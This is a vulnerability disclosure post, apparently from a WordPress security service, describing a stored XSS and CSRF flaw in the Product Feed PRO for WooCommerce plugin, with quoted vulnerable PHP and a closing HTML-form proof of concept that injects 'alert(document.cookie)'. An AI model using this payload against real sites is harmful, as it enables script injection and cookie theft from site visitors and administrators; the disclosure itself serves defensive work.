03 Jun

A Hacker Looks to be Probing for Product Feed PRO for WooCommerce, This Vulnerability Could be Their Target

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may use, we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website yesterday for the plugin Product Feed PRO for WooCommerce by requesting these files:

/wp-content/plugins/woo-product-feed-pro/css/woosea_admin.css
/wp-content/plugins/woo-product-feed-pro/js/woosea_add_cart.js
/wp-content/plugins/woo-product-feed-pro/readme.txt

We are not aware of any publicly disclosed vulnerabilities that might explain this and this looks like part of a larger multi-year campaign that targets vulnerabilities discovered by hackers instead of publicly disclosed vulnerabilities. In doing our standard checks we found a security issue that is common with the plugins targeted by this apparent campaign, low-level users have access to AJAX functions only intended for users managing the website. Not for the first time, a plugin that works with WooCommerce, is the target. That might be explained by the fact that by default, WordPress websites running WooCommerce allow untrusted individuals to create WordPress accounts.

Also, not for the first time we found that insecure code leads to an authenticated persistent cross-site scripting (XSS) vulnerability. There could be other issues as well.

The vulnerability we found involves two of the plugin’s AJAX accessible functions. The first, woosea_add_remarketing (), enables adding a Google Dynamic Remarketing Pixel to frontend pages of the website:

2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
function woosea_add_remarketing (){
        $status = sanitize_text_field($_POST['status']);
 
	if ($status == "off"){
		update_option( 'add_remarketing', 'no', 'yes');
	} else {
		update_option( 'add_remarketing', 'yes', 'yes');
	}
}
add_action( 'wp_ajax_woosea_add_remarketing', 'woosea_add_remarketing' );

That code should include a capabilities check to limit who can change the setting and a nonce check to prevent cross-site request forgery (CSRF), but it doesn’t.

The second function woosea_save_adwords_conversion_id(), stores a new Dynamic Remarketing Conversion tracking ID:

944
945
946
947
948
function woosea_save_adwords_conversion_id() {
	$adwords_conversion_id = sanitize_text_field($_POST['adwords_conversion_id']);
	update_option("woosea_adwords_conversion_id", $adwords_conversion_id);
}
add_action( 'wp_ajax_woosea_save_adwords_conversion_id', 'woosea_save_adwords_conversion_id' );

Like the first function, that lacks needed checks. It does sanitize the new value for the Dynamic Remarketing Conversion tracking ID, but that sanitization doesn’t sanitize the value in a way that prevents XSS, because of it being output inside a block of JavaScript.

That value then gets output by the function woosea_add_remarketing_tags() which runs when when WordPress generates frontend pages’ footer:

734
add_action('wp_footer', 'woosea_add_remarketing_tags');

In that, the value is retrieved:

609
$adwords_conversion_id = get_option("woosea_adwords_conversion_id");

And then output without escaping:

717
var google_conversion_id = <?php print "$adwords_conversion_id";?>;

There are quite a few additional AJAX accessible functions, which are all in the file /woocommerce-sea.php, so there could be more issues.

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies on frontend pages of the website, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wordpress/wp-admin/admin-ajax.php?action=woosea_add_remarketing" method="POST">
<input type="hidden" name="status" value="on" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
<html>
<body>
<form action="http://[path to WordPress]/wordpress/wp-admin/admin-ajax.php?action=woosea_save_adwords_conversion_id" method="POST">
<input type="hidden" name="adwords_conversion_id" value="1; alert(document.cookie)" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.